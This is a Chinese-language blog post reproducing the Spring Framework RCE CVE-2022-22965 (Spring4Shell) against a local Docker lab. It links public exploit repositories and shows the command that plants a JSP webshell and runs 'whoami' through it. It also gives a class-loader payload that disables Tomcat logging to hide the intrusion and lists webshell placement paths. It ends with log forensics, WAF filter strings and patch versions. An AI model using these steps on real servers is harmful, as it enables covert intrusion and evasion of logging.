CVE-2022-22965 Spring Framework JDK >= 9 远程代码执行漏洞复现
漏洞简述
2022年3月31日,Spring官方发布安全公告,披露CVE-2022-22965 Spring Framework 远程代码执行漏洞。由于Spring框架存在处理流程缺陷,攻击者可在远程条件下,实现对目标主机的后门文件写入和配置修改,继而通过后门文件访问获得目标主机权限。使用Spring框架或衍生框架构建网站等应用,且同时使用JDK版本在9及以上版本的,易受此漏洞攻击影响。
漏洞影响版本
受影响的是同时满足以下状况的场景:
- JDK 9及以上版本
- 使用Tomcat 服务器
- 以war 部署运行
- 使用了spring-webmvc或 spring-webflux
- Spring框架版本是 5.3.0 到 5.3.17, 5.2.0 到 5.2.19,以及更旧的版本。
一个不满足都不行,限制条件很多。
漏洞exp
https://github.com/TheGejr/SpringShell
https://github.com/reznok/Spring4Shell-POC
漏洞环境搭建
docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
返回ok表示环境搭建完成。
漏洞复现
是用上面的exp复现漏洞,会生成jsp随后访问执行命令。
python3 exp.py --url http://localhost:8082 curl "http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=whoami"
exp的特征也非常明显,并且写入shell后会不断有日志写入。可以使用关闭写入日志payload。
class.module.classLoader.resources.context.parent.pipeline.first.enabled=false
如何找到路径写webshell?
./webapps/系统项目名/ 写入当前项目中。 ./webapps/ROOT/ tomcat默认web目录。 ./webapps/xxx/ 如上传目录不存在,则会创建新目录,通过/xxx/shell.jsp访问
溯源排查
日志位置:/app/tomcat/logs/
根目录:/app/tomcat/webapps/ROOT
排查可疑的jsp文件。find / -name *.jsp 2>/dev/null
修复方式
截止2022年3月31日,官方已发布安全版本5.3.18/5.2.20修复该漏洞。
(一) WAF 防护
在 WAF 等网络防护设备上,根据实际部署业务的流量情况,实现对”class.*”,”Class.*”,”.class.*”,”*.Class.*”等字符串的规则过滤,并在部署过滤规则后,对业务运行情况进行测试,避免产生额外影响。
(二) 升级官方安全版本 >= 5.3.18/5.2.20
赞赏微信赞赏支付宝赞赏
发表评论